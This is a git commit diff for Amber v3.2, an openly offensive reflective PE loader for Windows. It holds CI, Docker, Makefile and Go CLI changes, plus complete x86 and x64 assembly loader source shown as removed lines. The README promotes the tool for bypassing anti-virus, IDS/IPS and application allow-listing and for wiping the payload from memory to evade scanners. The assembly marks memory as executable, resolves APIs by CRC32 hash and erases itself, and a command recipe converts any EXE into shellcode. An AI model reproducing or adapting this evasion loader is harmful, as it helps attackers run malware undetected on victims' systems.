Amber v3.2 release.

- Major loader update!
  - Added TLS callback support
  - Added forwarded imports support
  - Removed GetProcAddress and LoadLibrary WinAPI usage
  - Switched to NTDLL WinApi functions
  - Wiper code improved
- Added lite loader option for appending PE files on the fly!
- Added experimental raw syscall loader
- Added static build flags in makefile
- File name bug fixed
- Dockerfile updated
- Github workflows added
- README updated
This commit is contained in:
Ege Balcı
2023-06-24 01:53:10 +02:00
parent a331b344bf
commit fae3275b68
79 changed files with 3483 additions and 2234 deletions
Binary file not shown.

After

Width:  |  Height:  |  Size: 85 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 59 KiB

Before

Width:  |  Height:  |  Size: 668 KiB

After

Width:  |  Height:  |  Size: 668 KiB

+61
View File
@@ -0,0 +1,61 @@
name: build
on:
push:
branches: [ "master" ]
jobs:
linux-build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Set up Go
uses: actions/setup-go@v3
with:
go-version: 1.19
- name: Install Keystone
run: ./install-keystone.sh
- name: Build for Linux
run: make
- name: 'Upload Artifact'
uses: actions/upload-artifact@v3
with:
name: amber_linux
path: amber
retention-days: 5
macos-run:
runs-on: macos-latest
steps:
- uses: actions/checkout@v3
- name: Set up Go
uses: actions/setup-go@v3
with:
go-version: 1.19
- name: Install Keystone
run: ./install-keystone.sh
- name: Build for MacOS
run: make
- name: 'Upload Artifact'
uses: actions/upload-artifact@v3
with:
name: amber_darwin
path: amber
retention-days: 5
windows-build:
runs-on: windows-latest
steps:
- uses: actions/checkout@v3
- name: Set up Go
uses: actions/setup-go@v3
with:
go-version: 1.19
- name: Build for Windows
run: make
- name: 'Upload Artifact'
uses: actions/upload-artifact@v3
with:
name: amber.exe
path: amber.exe
retention-days: 5
+3 -2
View File
@@ -1,4 +1,4 @@
FROM golang:1.15-buster as builder
FROM golang:1.20 as builder
RUN apt-get update && apt-get -y install \
build-essential \
@@ -19,10 +19,11 @@ RUN cmake -DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=OFF -DLLVM_TARGETS_TO_B
RUN make -j8
RUN make install && ldconfig
# RUN mkdir /root/amber
WORKDIR /root
RUN git clone https://github.com/egebalci/amber
WORKDIR /root/amber
RUN go build -o /root/bin/amber -ldflags '-w -s -extldflags -static' -trimpath main.go
RUN go build -trimpath -buildvcs=false -ldflags="-extldflags=-static -s -w" -o /root/bin/amber main.go
FROM scratch
COPY --from=builder /root/bin/amber /amber
+5 -14
View File
@@ -1,14 +1,5 @@
normal:
go build -ldflags="-s -w" -trimpath -o amber
386:
CGO_ENABLED=1 GOARCH=386 go build -ldflags="-s -w" -trimpath -o amber
linux_amd64:
GOOS=linux CGO_ENABLED=1 GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o amber
linux_386:
GOOS=linux CGO_ENABLED=1 GOARCH=386 go build -ldflags="-s -w" -trimpath -o amber
windows_amd64:
GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CGO_LDFLAGS="-lkeystone -L`pwd`/build/lib/" CXX=x86_64-w64-mingw32-g++ CC=x86_64-w64-mingw32-gcc go build -ldflags="-s -w" -trimpath -o amber.exe
windows_386:
GOOS=windows GOARCH=386 CGO_ENABLED=1 CGO_LDFLAGS="-lkeystone -L`pwd`/build/lib32/" CXX=i686-w64-mingw32-g++ CC=i686-w64-mingw32-gcc go build -ldflags="-s -w" -trimpath -o amber32.exe
darwin:
GOOS=darwin CGO_ENABLED=1 CGO_LDFLAGS="-lkeystone -L`pwd`/build/lib/" go build -ldflags="-s -w" -trimpath -o amber
BUILD=go build
BUILD_FLAGS=-trimpath -buildvcs=false -ldflags="-extldflags=-static -s -w -X github.com/egebalci/amber/config.Version=$$(git log --pretty=format:'v1.0.%at-%h' -n 1)"
default:
${BUILD} ${BUILD_FLAGS} -o amber
+27 -30
View File
@@ -1,9 +1,9 @@
<p align="center">
<img src="https://github.com/EgeBalci/amber/raw/master/img/banner.png">
<img src="./.github/img/banner.png">
<br/>
<a href="https://github.com/EgeBalci/amber">
<img src="https://img.shields.io/badge/version-3.1.0-green.svg?style=flat-square">
<img src="https://img.shields.io/badge/version-3.2.0-green.svg?style=flat-square">
</a>
<a href="https://goreportcard.com/report/github.com/egebalci/amber">
<img src="https://goreportcard.com/badge/github.com/egebalci/amber?style=flat-square">
@@ -23,10 +23,7 @@
Amber is a position-independent(reflective) PE loader that enables in-memory execution of native PE files(EXE, DLL, SYS...). It enables stealthy in-memory payload deployment that can be used to bypass anti-virus, firewall, IDS, IPS products, and application white-listing mitigations. Reflective payloads generated by Amber can either be staged from a remote server or executed directly in memory much like a generic shellcode. By default, every generated payload is encoded using the new generation [SGN encoder](https://github.com/EgeBalci/sgn). Amber uses [CRC32_API](https://github.com/EgeBalci/crc32_api) and [IAT_API](https://github.com/EgeBalci/iat_api) for inconspicuously resolving the Windows API function addresses. After the PE file is loaded and executed in memory, the reflective payload is erased for evading memory scanners.
Developed By Ege Balcı @[PRODAFT](https://prodaft.com).
# Installation
Pre-compiled binaries can be found under [releases](https://github.com/EgeBalci/amber/releases).
***Building From Source***
@@ -34,7 +31,7 @@ Pre-compiled binaries can be found under [releases](https://github.com/EgeBalci/
The only dependency for building the source is the [keystone engine](https://github.com/keystone-engine/keystone), follow [these](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE.md) instructions for installing the library. Once libkeystone is installed on the system, simply just go get it ツ
```
go get github.com/EgeBalci/amber
go install github.com/EgeBalci/amber@latest
```
***Docker Install***
@@ -49,7 +46,7 @@ docker run -it egee/amber
# Usage
<p align="center">
<img src="https://github.com/EgeBalci/amber/raw/master/img/usage.gif">
<img src="./.github/img/usage.gif">
</p>
The following table lists switches supported by the amber.
@@ -60,11 +57,17 @@ The following table lists switches supported by the amber.
<th>Type</th>
<th>Description</th>
</tr>
<tr>
<td><strong>-b,--build</strong></td>
<td><var>bool</var></td>
<td>Build EXE stub that executes the generated reflective payload</td>
<td><strong>-f,--file</strong></td>
<td><var>string</var></td>
<td>Input PE file.</td>
</tr>
<tr>
<td><strong>-o,--out</strong></td>
<td><var>string</var></td>
<td>Output binary payload file name.</td>
</tr>
<tr>
@@ -72,35 +75,29 @@ The following table lists switches supported by the amber.
<td><var>int</var></td>
<td>Number of times to encode the generated reflective payload</td>
</tr>
<tr>
<td><strong>-f,--file</strong></td>
<td><var>string</var></td>
<td>Input PE file.</td>
</tr>
<tr>
<td><strong>-iat</strong></td>
<td><strong>--iat</strong></td>
<td><var>bool</var></td>
<td>Use IAT API resolver block instead of CRC API resolver block</td>
</tr>
<tr>
<td><strong>-ignore-checks</strong></td>
<td><var>bool</var></td>
<td>Ignore integrity check errors.</td>
</tr>
<tr>
<td><strong>-max</strong></td>
<td><strong>-l</strong></td>
<td><var>int</var></td>
<td>Maximum number of bytes for obfuscation (default 5)</td>
</tr>
<tr>
<td><strong>-s,--stub</strong></td>
<td><var>string</var></td>
<td>Use custom stub file for executing the generated reflective payload (currently very unstable)</td>
<td><strong>--sys</strong></td>
<td><var>bool</var></td>
<td>Perform raw syscalls. (only x64)</td>
</tr>
<tr>
<td><strong>--scrape</strong></td>
<td><var>bool</var></td>
<td>Scrape magic byte and DOS stub from PE.</td>
</tr>
</table>
@@ -112,9 +109,9 @@ The following table lists switches supported by the amber.
```
amber -f test.exe
```
- Generate reflective payload and build EXE stub for executing it.
- Generate reflective payload with IAT API resolver and encode the final payload 10 times.
```
amber -build -f test.exe
amber -e 10 --iat -f test.exe
```
***Docker Usage***
+59 -55
View File
@@ -1,79 +1,83 @@
package config
import (
"errors"
"flag"
"fmt"
"os"
amber "github.com/EgeBalci/amber/pkg"
sgn "github.com/EgeBalci/sgn/pkg"
"github.com/fatih/color"
"github.com/EgeBalci/amber/utils"
"github.com/alecthomas/kong"
)
var usageStr = `
Usage: amber [options]
Options:
-f, --file <file> Input PE file
-s, --stub <file> Use custom stub file (experimental)
-m, --max <int> Maximum number of bytes for obfuscation
-e, <int> Number of times to encode the generated reflective payload
-b, --build Build EXE stub that executes the generated reflective payload
--iat, Use IAT API resolver block instead of CRC API resolver block
--ignore-checks, Ignore integrity check errors.
-h, Show this message
`
const Version = "3.2.0"
// PrintUsageErrorAndDie ...
func PrintUsageErrorAndDie(err error) {
color.Red(err.Error())
fmt.Println(usageStr)
os.Exit(1)
func HelpPrompt(options kong.HelpOptions, ctx *kong.Context) error {
err := kong.DefaultHelpPrinter(options, ctx)
if err != nil {
return err
}
return nil
}
// PrintHelpAndDie ...
func PrintHelpAndDie() {
fmt.Println(usageStr)
os.Exit(0)
// Main config struct for parsing the TOML file
type Config struct {
FileName string `help:"Input PE file name." name:"file" short:"f"`
OutputFile string `help:"Output binary payload file name." name:"out" short:"o"`
EncodeCount int `help:"Number of times to encode the generated reflective payload." name:"encode" short:"e" default:"1"`
ObfuscationLimit int `help:"Maximum number of bytes for encoder obfuscation." name:"obfuscate-limit" short:"l" default:"5"`
UseIAT bool `help:"Use IAT API resolver block instead of CRC API resolver block." name:"iat"`
UseSyscalls bool `help:"Perform raw syscalls. (only x64)" name:"sys"`
ScrapePeHeaders bool `help:"Scrape magic byte and DOS stub from PE." name:"scrape"`
// IgnoreIntegrity bool `help:"Ignore PE file integrity check errors." name:"ignore"`
Verbose bool `help:"Verbose mode." name:"verbose" short:"v"`
Version kong.VersionFlag
}
// ConfigureOptions accepts a flag set and augments it with agentgo-server
// specific flags. On success, an options structure is returned configured
// based on the selected flags.
func ConfigureOptions(fs *flag.FlagSet, args []string) (*amber.Blueprint, *sgn.Encoder, error) {
func Parse() (*Config, error) {
// Create empty options
bp := &amber.Blueprint{}
encoder := sgn.NewEncoder()
// Define flags
help := fs.Bool("h", false, "Show help message")
fs.StringVar(&bp.FileName, "f", "", "Input PE file")
fs.StringVar(&bp.FileName, "file", "", "Input PE file")
fs.BoolVar(&bp.IAT, "iat", false, "Use IAT API resolver block instead of CRC API resolver block")
fs.BoolVar(&bp.IgnoreIntegrity, "ignore-checks", false, "Ignore integrity check errors.")
fs.StringVar(&bp.CustomStubName, "s", "", "Use custom stub file (experimental)")
fs.StringVar(&bp.CustomStubName, "stub", "", "Use custom stub file (experimental)")
fs.IntVar(&encoder.ObfuscationLimit, "max", 5, "Maximum number of bytes for obfuscation")
fs.IntVar(&encoder.EncodingCount, "e", 1, "Number of times to encode the generated reflective payload")
fs.BoolVar(&bp.BuildStub, "b", false, "Build EXE stub that executes the generated reflective payload")
fs.BoolVar(&bp.BuildStub, "build", false, "Build EXE stub that executes the generated reflective payload")
// Parse arguments and check for errors
if err := fs.Parse(args); err != nil {
return nil, nil, err
cfg := new(Config)
parser, err := kong.New(
cfg,
kong.Help(HelpPrompt),
kong.UsageOnError(),
kong.Vars{"version": Version},
kong.ConfigureHelp(kong.HelpOptions{
Summary: true,
}),
)
if err != nil {
return nil, err
}
_, err = parser.Parse(os.Args[1:])
if err != nil {
return nil, err
}
// If it is not help and other args are empty, return error
if (*help == false) && bp.FileName == "" {
err := errors.New("please specify all required arguments")
return nil, nil, err
if cfg.FileName == "" {
utils.PrintErr("no file specified! (-f <empty>)\n")
kong.Help(HelpPrompt)
os.Exit(1)
}
// If -help flag is defined, print help
if *help {
PrintHelpAndDie()
if cfg.OutputFile == "" {
cfg.OutputFile = fmt.Sprintf("%s.bin", cfg.FileName)
}
return bp, encoder, nil
return cfg, nil
}
func (cfg *Config) PrintSummary() {
utils.PrintStatus("File: %s\n", cfg.FileName)
utils.PrintStatus("Encode Count: %d\n", cfg.EncodeCount)
utils.PrintStatus("Obfuscation Limit: %d\n", cfg.ObfuscationLimit)
if cfg.UseIAT {
utils.PrintStatus("API Resolver: IAT\n")
} else {
utils.PrintStatus("API Resolver: CRC\n")
}
if cfg.UseSyscalls {
utils.PrintStatus("Raw Syscalls: True\n")
}
}
+3 -1
View File
@@ -4,8 +4,10 @@ go 1.15
require (
github.com/EgeBalci/debug v0.0.0-20201116162432-d79a6eb18848
github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae
github.com/EgeBalci/sgn v0.0.0-20201126033925-686e60d127dc
github.com/alecthomas/kong v0.7.1
github.com/briandowns/spinner v1.11.1
github.com/fatih/color v1.10.0
github.com/sirupsen/logrus v1.9.0
golang.org/x/sys v0.7.0 // indirect
)
+25 -3
View File
@@ -2,15 +2,24 @@ github.com/EgeBalci/debug v0.0.0-20201116162432-d79a6eb18848 h1:xp+mcTlDdvF6gCe/
github.com/EgeBalci/debug v0.0.0-20201116162432-d79a6eb18848/go.mod h1:7fXlZBJFFub/8MYzeBI6HFwNkwL2cw8pe3yrWTJduwc=
github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae h1:IMOEVXYMrzHg+1oWgTYBEwzMGsxFHUgoreu2Ic62K7Q=
github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae/go.mod h1:/HCfOmUN3INldcXC0YnFrOtOw3MuRFEQ9cKTT5fZuQ8=
github.com/EgeBalci/sgn v0.0.0-20201122214045-550a17d79251 h1:VyTVKce2AzuB6521arwJvyQFHLQ0USNnw/0IZ/RP3bE=
github.com/EgeBalci/sgn v0.0.0-20201122214045-550a17d79251/go.mod h1:gI4nYEhbKmf35Q+NPyoX+o1ajkCgabjYjsyu19tmfgM=
github.com/EgeBalci/sgn v0.0.0-20201126033925-686e60d127dc h1:OVYO6tY6ivMDvT/np+bKnkUSIgHRJ4S7hAGcd1ylas8=
github.com/EgeBalci/sgn v0.0.0-20201126033925-686e60d127dc/go.mod h1:gI4nYEhbKmf35Q+NPyoX+o1ajkCgabjYjsyu19tmfgM=
github.com/alecthomas/assert/v2 v2.1.0 h1:tbredtNcQnoSd3QBhQWI7QZ3XHOVkw1Moklp2ojoH/0=
github.com/alecthomas/assert/v2 v2.1.0/go.mod h1:b/+1DI2Q6NckYi+3mXyH3wFb8qG37K/DuK80n7WefXA=
github.com/alecthomas/kong v0.7.1 h1:azoTh0IOfwlAX3qN9sHWTxACE2oV8Bg2gAwBsMwDQY4=
github.com/alecthomas/kong v0.7.1/go.mod h1:n1iCIO2xS46oE8ZfYCNDqdR0b0wZNrXAIAqro/2132U=
github.com/alecthomas/repr v0.1.0 h1:ENn2e1+J3k09gyj2shc0dHr/yjaWSHRlrJ4DPMevDqE=
github.com/alecthomas/repr v0.1.0/go.mod h1:2kn6fqh/zIyPLmm3ugklbEi5hg5wS435eygvNfaDQL8=
github.com/briandowns/spinner v1.11.1 h1:OixPqDEcX3juo5AjQZAnFPbeUA0jvkp2qzB5gOZJ/L0=
github.com/briandowns/spinner v1.11.1/go.mod h1:QOuQk7x+EaDASo80FEXwlwiA+j/PPIcX3FScO+3/ZPQ=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
github.com/fatih/color v1.10.0 h1:s36xzo75JdqLaaWoiEHk767eHiwo0598uUxyfiPkDsg=
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM=
github.com/hexops/gotextdiff v1.0.3/go.mod h1:pSWU5MAI3yDq+fZBTazCSJysOMbxWL1BSow5/V2vxeg=
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
@@ -21,7 +30,20 @@ github.com/mattn/go-runewidth v0.0.7 h1:Ei8KR0497xHyKJPAv59M1dkC+rOZCMBJ+t3fZ+tw
github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/olekukonko/tablewriter v0.0.4 h1:vHD/YYe1Wolo78koG299f7V/VAS08c6IpCLn+Ejf/w8=
github.com/olekukonko/tablewriter v0.0.4/go.mod h1:zq6QwlOf5SlnkVbMSr5EoBv3636FWnp+qbPhuoO21uA=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae h1:/WDfKMnPU+m5M4xB+6x4kaepxRw6jWvR5iDRdvjHgy8=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.7.0 h1:3jlCCIQZPdOYu1h8BkNvLz8Kgwtae2cagcG/VamtZRU=
golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 153 KiB

Submodule loader/IAT_API deleted from 9bbf9fbb1c
+21
View File
@@ -0,0 +1,21 @@
# Amber Loader v3.0
Amber Loader is a reflective PE loader designed for manually loading (mapping, relocating, and resolving) and executing PE files from memory. It is written fully in assembly using the NASM syntax. The loader supports both 32- and 64-bit PE files with TLS callbacks and forwarded imports.
<p align="center">
<img src="../.github/img/loader.png">
</p>
The lite version of the amber loader can be directly appended in front of a PE file for converting the file into a shellcode.
- [amber_loader-x86-lite.bin](https://github.com/EgeBalci/amber/raw/master/loader/loader-x86/amber_loader-x86-lite.bin)
- [amber_loader-x64-lite.bin](https://github.com/EgeBalci/amber/raw/master/loader/loader-x64/amber_loader-x64-lite.bin)
### Example: Converting putty.exe into shellcode
```bash
wget https://github.com/EgeBalci/amber/raw/master/loader/loader-x64/amber_loader-x64-lite.bin -O shellcode
cat putty.exe >> shellcode && xxd -i shellcode
```
**(!! lite version do not wipe itself from the memory !!)**
+1
Submodule loader/crc32_api added at 14a7f8b5eb
-117
View File
@@ -1,117 +0,0 @@
;#==============================================#
;# X64 Fixed Reflective Loader (No relocation) #
;# Author: Ege Balcı <egebalci@pm.me> #
;# Version: 1.1 #
;#==============================================#
[BITS 64]
call start ; Get the address of pre-mapped PE image to stack
incbin "pemap.bin" ; Pre-mapped PE image
start:
pop rsi ; Get the address of image to rsi
call $+5
sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size to R11
mov rbp,rsp ; Copy current stack address to rbp
and rbp,-0x1000 ; Create a new shadow stack address
mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax
mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx
mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12
push rax ; Allocate 8 bytes for lpflOldProtect
mov r9,rsp ; lpflOldProtect
mov r8d,dword 0x40 ; PAGE_EXECUTE_READWRITE
mov rdx,qword [rsp+8] ; dwSize
mov rcx,rbx ; lpAddress
mov r10d,0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" )
xchg rsp,rbp ; Swap shadow stack
call api_call ; VirtualProtect( image_base, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect)
xchg rsp,rbp ; Swap shadow stack
xor rax,rax ; Zero EAX
xor r14,r14 ; Zero R14
xor r15,r15 ; Zero R15
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,dword [rax+rsi+0x90] ; Import table RVA
add rax,rsi ; Import table memory address (first image import descriptor)
push rax ; Save import descriptor to stack
get_modules:
cmp dword [rax],0 ; Check if the import names table RVA is NULL
jz complete ; If yes building process is done
mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax
add rcx,rsi ; Get the dll name address
call LoadLibraryA ; Load the library
mov r13,rax ; Move the dll handle to R13
mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call get_procs ; Resolve all windows API function addresses
add dword [rsp],0x14 ; Move to the next import descriptor
mov rax,[rsp] ; Set the new import descriptor address to RAX
jmp get_modules
get_procs:
mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA to R14D
add r14,rsi ; Get the IAT memory address
mov rax,[rax] ; Set the import names table RVA to RAX
add rax,rsi ; Get the current import descriptor's import names table address
mov r15,rax ; Save &INT to R15
resolve:
cmp dword [rax],0 ; Check if end of the import names table
jz all_resolved ; If yes resolving stage is done
mov rax,[rax] ; Get the RVA of function hint to eax
btr rax,0x3F ; Check if the high order bit is set
jnc name_resolve ; If high order bit is not set resolve with INT entry
shl rax,2 ; Discard the high bit by shifting
shr rax,2 ; Shift back the original value
call GetProcAddress ; Get API address with hint
jmp insert_iat ; Insert the address of API to IAT
name_resolve:
add rax,rsi ; Set the address of function hint
add rax,2 ; Move to function name
call GetProcAddress ; Get the function address to eax
insert_iat:
mov [r14],rax ; Insert the function address to IAT
add r14,8 ; Increase the IAT index
add r15,8 ; Increase the import names table index
mov rax,r15 ; Set the address of import names table address to RAX
jmp resolve ; Loop
all_resolved:
mov qword [r14],0 ; Insert a NULL qword
ret ; <-
LoadLibraryA:
xchg rbp,rsp ; Swap shadow stack
mov r10d,0xE2E6A091 ; hash( "kernel32.dll", "LoadLibraryA" )
call api_call ; LoadLibraryA(RCX)
xchg rbp,rsp ; Swap shadow stack
ret ; <-
GetProcAddress:
xchg rbp,rsp ; Swap shadow stack
mov rcx,r13 ; Move the module handle to RCX as first parameter
mov rdx,rax ; Move the address of function name string to RDX as second parameter
mov r10d,0xA18B0B38 ; hash( "kernel32.dll", "GetProcAddress" )
call api_call ; GetProcAddress(RCX,RDX)
xchg rbp,rsp ; Swap shadow stack
ret ; <-
complete:
pop rax ; Clean out the stack
pop rax ; ...
pop rcx ; Pop the image_size to RCX
push rbx ; Push the new base adress to stack
add [rsp],r12 ; Add the address of entry value to new base address
memcpy:
mov al,[rsi] ; Move 1 byte of PE image to AL register
mov byte [rbx],al ; Move 1 byte of PE image to image base
mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint)
inc rsi ; Increase PE image index
inc rbx ; Increase image base index
loop memcpy ; Loop until zero
jmp PE_start
; ========== API ==========
%include "CRC32_API/x64_crc32_api.asm"
PE_start:
mov rcx,wipe ; Get the number of bytes until wipe label
lea rax,[rip] ; Get RIP to RAX
nop ; Padding
wipe:
mov byte [rax],0 ; Wipe 1 byte at a time
dec rax ; Decraise RAX
loop wipe ; Loop until RCX = 0
ret ; Return to AOE
-128
View File
@@ -1,128 +0,0 @@
;#==================================================#
;# x86 Fixed Address Reflective Stub (no relocation)#
;# Author: Ege Balcı <egebalci@pm.me> #
;# Version: 2.0 #
;#==================================================#
[BITS 32]
[ORG 0]
call start ; Get the address of pre-mapped PE image to stack
incbin "pemap.bin" ; Pre-mapped PE image
start: ;
cld ; Clear direction flags
pop esi ; Get the address of image to esi
call $+5 ; Push the current EIP to stack
sub [esp],esi ; Subtract &PE from EIP and get image_size
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
push eax ; Save the address of entry to stack
push ebx ; Save image base to stack
push 0x00000000 ; Allocate a DWORD variable inside stack
push esp ; lpflOldProtect
push 0x40 ; PAGE_EXECUTE_READWRITE
push dword [esp+0x14] ; dwSize
push ebx ; lpAddress
push 0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" )
call api_call ; VirtualProtect( ImageBase, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect)
pop eax ; Fix the stack
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,[eax+esi+0x80] ; Import table RVA
add eax,esi ; Import table memory address (first image import descriptor)
push eax ; Save the address of import descriptor to stack
get_modules:
cmp dword [eax],0x00 ; Check if the import names table RVA is NULL
jz complete ; If yes building process is done
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
add eax,esi ; Get the dll name address
call LoadLibraryA ; Load the library
mov ebx,eax ; Move the dll handle to ebx
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call get_procs ; Resolve all windows API function addresses
add dword [esp],0x14 ; Move to the next import descriptor
mov eax,[esp] ; Set the new import descriptor address to eax
jmp get_modules
get_procs:
push ecx ; Save ecx to stack
push dword [eax+0x10] ; Save the current import descriptor IAT RVA
add [esp],esi ; Get the IAT memory address
mov eax,[eax] ; Set the import names table RVA to eax
add eax,esi ; Get the current import descriptor's import names table address
push eax ; Save it to stack
resolve:
cmp dword [eax],0x00 ; Check if end of the import names table
jz all_resolved ; If yes resolving process is done
mov eax,[eax] ; Get the RVA of function hint to eax
cmp eax,0x80000000 ; Check if the high order bit is set
js name_resolve ; If high order bit is not set resolve with INT entry
sub eax,0x80000000 ; Zero out the high bit
call GetProcAddress ; Get the API address with hint
jmp insert_iat ; Insert the address of API tı IAT
name_resolve:
add eax,esi ; Set the address of function hint
add eax,0x02 ; Move to function name
call GetProcAddress ; Get the function address to eax
insert_iat:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov [ecx],eax ; Insert the function address to IAT
add dword [esp],0x04 ; Increase the import names table index
add dword [esp+4],0x04 ; Increase the IAT index
mov eax,[esp] ; Set the address of import names table address to eax
jmp resolve ; Loop
all_resolved:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov dword [ecx],0x00 ; Insert a NULL dword
pop ecx ; Deallocate index values
pop ecx ; ...
pop ecx ; Put back the ecx value
ret ; <-
LoadLibraryA:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of linrary name string
push 0xE2E6A091 ; ror13( "kernel32.dll", "LoadLibraryA" )
call api_call ; LoadLibraryA([esp+4])
pop edx ; Retreive edx
pop ecx ; Retreive ecx
ret ; <-
GetProcAddress:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of proc name string
push ebx ; Push the dll handle
push 0xA18B0B38 ; ror13( "kernel32.dll", "GetProcAddress" )
call api_call ; GetProcAddress(ebx,[esp+4])
pop edx ; Retrieve edx
pop ecx ; Retrieve ecx
ret ; <-
complete:
pop eax ; Clean out the stack
pop edi ; ..
mov edx,edi ; Copy the address of new base to EDX
pop eax ; Pop the address_of_entry to EAX
add edi,eax ; Add the address of entry to new image base
pop ecx ; Pop the image_size to ECX
memcpy:
mov al,[esi] ; Move 1 byte of PE image to AL register
mov byte [edx],al ; Move 1 byte of PE image to image base
mov byte [esi],0 ; Overwrite copied byte (for less memory footprint)
inc esi ; Increase PE image index
inc edx ; Increase image base index
loop memcpy ; Loop until ECX = 0
jmp PE_start
; ========== API ==========
%include "CRC32_API/x86_crc32_api.asm"
PE_start:
mov ecx,wipe ; Get the number of bytes until wipe label
call wipe_start ; Call wipe_start
wipe_start:
pop eax ; Get EIP to EAX
wipe:
mov byte [eax],0 ; Wipe 1 byte at a time
dec eax ; Decraise EAX
loop wipe ; Loop until ECX = 0
ret ; Return to AOE
Binary file not shown.
+33
View File
@@ -0,0 +1,33 @@
#!/bin/bash
## ANSI Colors (FG & BG)
RED="$(printf '\033[31m')" GREEN="$(printf '\033[32m')" YELLOW="$(printf '\033[33m')" BLUE="$(printf '\033[34m')"
MAGENTA="$(printf '\033[35m')" CYAN="$(printf '\033[36m')" WHITE="$(printf '\033[37m')" BLACK="$(printf '\033[30m')"
